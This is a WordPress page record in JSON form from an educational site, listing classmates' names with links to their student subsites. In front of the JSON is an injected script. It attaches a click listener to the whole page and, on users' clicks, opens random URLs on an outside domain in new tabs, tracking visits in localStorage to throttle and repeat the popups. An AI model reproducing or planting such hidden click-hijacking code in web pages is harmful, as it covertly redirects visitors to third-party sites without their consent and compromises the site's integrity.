<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1513,"date":"2020-02-21T10:23:04","date_gmt":"2020-02-21T02:23:04","guid":{"rendered":"http:\/\/edu.secda.info\/phil999_tubm3b\/?page_id=1513"},"modified":"2021-09-14T15:11:35","modified_gmt":"2021-09-14T07:11:35","slug":"%e6%88%91%e7%9a%84%e5%90%8c%e5%ad%b8","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/phil999_tubm3b\/?page_id=1513","title":{"rendered":"\u6211\u7684\u540c\u5b78"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"1513\" class=\"elementor elementor-1513\" data-elementor-settings=\"[]\">\r\n\t\t\t\t\t\t<div class=\"elementor-inner\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\r\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-b0f3ad3 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"b0f3ad3\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-82afbc6\" data-id=\"82afbc6\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-4783636 elementor-position-top elementor-vertical-align-top elementor-widget elementor-widget-image-box\" data-id=\"4783636\" data-element_type=\"widget\" data-widget_type=\"image-box.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t<div class=\"elementor-image-box-wrapper\"><figure class=\"elementor-image-box-img\"><a href=\"\/\/edu.secda.info\/phil999_student02\/\" target=\"_blank\"><img width=\"128\" height=\"128\" src=\"https:\/\/edu.secda.info\/phil999_tubm3b\/wp-content\/uploads\/2021\/09\/3443581.png\" class=\"attachment-full size-full\" alt=\"\" loading=\"lazy\" \/><\/a><\/figure><div class=\"elementor-image-box-content\"><h3 class=\"elementor-image-box-title\"><a href=\"\/\/edu.secda.info\/phil999_student02\/\" target=\"_blank\">\u9ec3\u5c0f\u660e<\/a><\/h3><\/div><\/div>\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-911afa4\" data-id=\"911afa4\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-67527a7 elementor-position-top elementor-vertical-align-top elementor-widget elementor-widget-image-box\" data-id=\"67527a7\" data-element_type=\"widget\" data-widget_type=\"image-box.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t<div class=\"elementor-image-box-wrapper\"><figure class=\"elementor-image-box-img\"><a href=\"https:\/\/edu.secda.info\/phil999_student02\/\" target=\"_blank\"><img width=\"128\" height=\"128\" src=\"https:\/\/edu.secda.info\/phil999_tubm3b\/wp-content\/uploads\/2021\/09\/3443561.png\" class=\"attachment-full size-full\" alt=\"\" loading=\"lazy\" \/><\/a><\/figure><div class=\"elementor-image-box-content\"><h3 class=\"elementor-image-box-title\"><a href=\"https:\/\/edu.secda.info\/phil999_student02\/\" target=\"_blank\">\u9673\u5c0f\u7f8e<\/a><\/h3><\/div><\/div>\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-cd32487\" data-id=\"cd32487\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-f56712f elementor-position-top elementor-vertical-align-top elementor-widget elementor-widget-image-box\" data-id=\"f56712f\" data-element_type=\"widget\" data-widget_type=\"image-box.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t<div class=\"elementor-image-box-wrapper\"><figure class=\"elementor-image-box-img\"><a href=\"\/\/edu.secda.info\/phil999_student02\/\" target=\"_blank\"><img width=\"128\" height=\"128\" src=\"https:\/\/edu.secda.info\/phil999_tubm3b\/wp-content\/uploads\/2021\/09\/3443572.png\" class=\"attachment-full size-full\" alt=\"\" loading=\"lazy\" \/><\/a><\/figure><div class=\"elementor-image-box-content\"><h3 class=\"elementor-image-box-title\"><a href=\"\/\/edu.secda.info\/phil999_student02\/\" target=\"_blank\">\u5b78\u751fC<\/a><\/h3><\/div><\/div>\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-68ed251 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-invisible\" data-id=\"68ed251\" data-element_type=\"section\" data-settings=\"{&quot;animation&quot;:&quot;zoomIn&quot;}\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-wider\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-41bcdac\" data-id=\"41bcdac\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-03034b2\" data-id=\"03034b2\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-2694169\" data-id=\"2694169\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-9abc45b\" data-id=\"9abc45b\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u9ec3\u5c0f\u660e \u9673\u5c0f\u7f8e \u5b78\u751fC<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":0,"menu_order":3,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999_tubm3b\/index.php?rest_route=\/wp\/v2\/pages\/1513"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999_tubm3b\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999_tubm3b\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_tubm3b\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_tubm3b\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1513"}],"version-history":[{"count":19,"href":"https:\/\/edu.secda.info\/phil999_tubm3b\/index.php?rest_route=\/wp\/v2\/pages\/1513\/revisions"}],"predecessor-version":[{"id":1680,"href":"https:\/\/edu.secda.info\/phil999_tubm3b\/index.php?rest_route=\/wp\/v2\/pages\/1513\/revisions\/1680"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999_tubm3b\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1513"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}